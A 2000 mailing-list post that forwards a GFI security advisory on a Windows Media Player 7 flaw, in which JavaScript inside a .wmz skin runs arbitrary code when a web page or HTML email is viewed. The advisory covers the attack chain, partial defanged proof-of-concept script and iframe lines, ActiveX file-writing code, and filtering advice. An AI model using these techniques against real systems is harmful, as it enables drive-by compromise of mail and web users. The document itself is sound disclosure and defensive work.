[Esa-l] [ GFISEC23112000 ] Microsoft Media Player 7 allows executation of Arbitrary Code (fwd)

John D. Hardin jhardin at wolfenet.com
Sun Nov 26 12:10:54 PST 2000

Please add "asx|wm[szd]" to your custom MANGLE_EXTENSIONS list. You
may also choose to poison:


Note that the attack described below is prevented by defanging active
HTML, not through attachment poisoning. The above recommendations are
proactive to prevent "social engineering" attacks.

See also:


 John Hardin KA7OHZ   ICQ#15735746   http://www.wolfenet.com/~jhardin/
 jhardin at wolfenet.com      pgpk -a finger://gonzo.wolfenet.com/jhardin
  768: 0x41EA94F5 - A3 0C 5B C2 EF 0D 2C E5  E9 BF C8 33 A7 A9 CE 76 
 1024: 0xB8732E79 - 2D8C 34F4 6411 F507 136C  AF76 D822 E6E6 B873 2E79
  "Bother," said Pooh as he struggled with /etc/sendmail.cf, "it never
  does quite what I want. I wish Christopher Robin was here."
				-- Peter da Silva in a.s.r
   Today: we know who is President

---------- Forwarded message ----------
Date: Thu, 23 Nov 2000 12:11:49 +0100
From: Sandro Gauci <Sandro at GFI.COM>
Subject: [ GFISEC23112000 ]   Microsoft Media Player 7 allows executation of Arbitrary Code

GFI Security Lab Advisory


[ GFISEC23112000 ]   Microsoft Media Player 7 allows executation of
Arbitrary Code



----[Vendor Status:

Microsoft has been informed and we have worked with them to release
a patch.

----[Systems Affected: 

Windows ME (WMP7 is installed by default)
and 95,98 NT and 2000, using:

   * Windows Media Player 7


   * Internet Explorer 3+,

   * Outlook Express 2000,

   * Outlook Express 98,

   * Outlook 2000,

   * Outlook 98

   * possibly all other HTML and/or 
    javascript enabled e-mail clients.

----[The problem:

GFI, developer of email content checking & network
security software, has recently discovered a security flaw
within Windows Media Player which allows a malicious user
to run arbitary code on a target machine as it attempts to
view a website or an HTML E-mail. 

The problem is exploited by embedding a javascript (.js) file within a
Media Player skin file (.wmz) which can also be embeded in a Windows Media 
Download file (.wmd). This does not require the user to run any attachments 
since the Media Player file is automatically executed using a iframe tag 
or a window.open() with in a <DEFANGED_script> tag.

----[Proof of concept Exploit:

<DEFANGED_Embedded within an HTML file or e-mail>

E-mail Example 1.

<DEFANGED_script language="JavaScript">
function MM_openBrWindow(theURL,winName,features) { //v2.0
  alert('This exploit will now open a new window\n
  and automatically download the wmd file\n 
  and execute it. This will create a file named\n 
  gfiseclab.txt in your C:\\');

<body bgcolor="#FFFFFF"  

</Embedded within an HTML e-mail>

E-mail Example 2.

alert('This exploit will now open a new window \n and automatically download
the wmd file \n  

and execute it. This will create a file named \n gfiseclab.txt in your
<DEFANGED_iframe src="http://website/test.wmd"></iframe></body>


test.wmd is a compressed zip file which contains the following files:

 * test.asx: meta file which points to an mpg file and 
     the exploit skin file

 * test.mpg: an example mpeg movie.

 * test.wmz: the exploit skin file.

test.wmz is also a compressed zip file containing:

 * test.js: our javascript which contains the following code
   var fso, f1;
   fso = new ActiveXObject("Scripting.FileSystemObject");
   f1 = fso.CreateTextFile("C:\\gfiseclab.txt", true);
   function onload(){

 * test.wms: another metafile which calls test.js



For e-mail the best solution is to apply filtering on incoming e-mails via 
the SMTP server to filter WMD and WMZ files, disable javascript iframe tags,

meta refresh tags and possibly ActiveX tags. This means that users should 
not worry about receiving malicious email and spreading worms etc.

Consider unregistering .wmd and .wmz so from being associated with Media 
Player 7 until a vendor patch is applied. Procedure:

In Windows Explorer click on View>Options>File Types and delete the 
following entries:

* Windows Media Player Skin Package.

* Windows Media Player Download Package.

This should provide some better protection.



----[Contact Information:

Sandro Gauci
GFI Security Lab
sandro at gfi.com

GFI - Security & communications products for Windows NT/2000

This mail was content checked for malicious code or viruses
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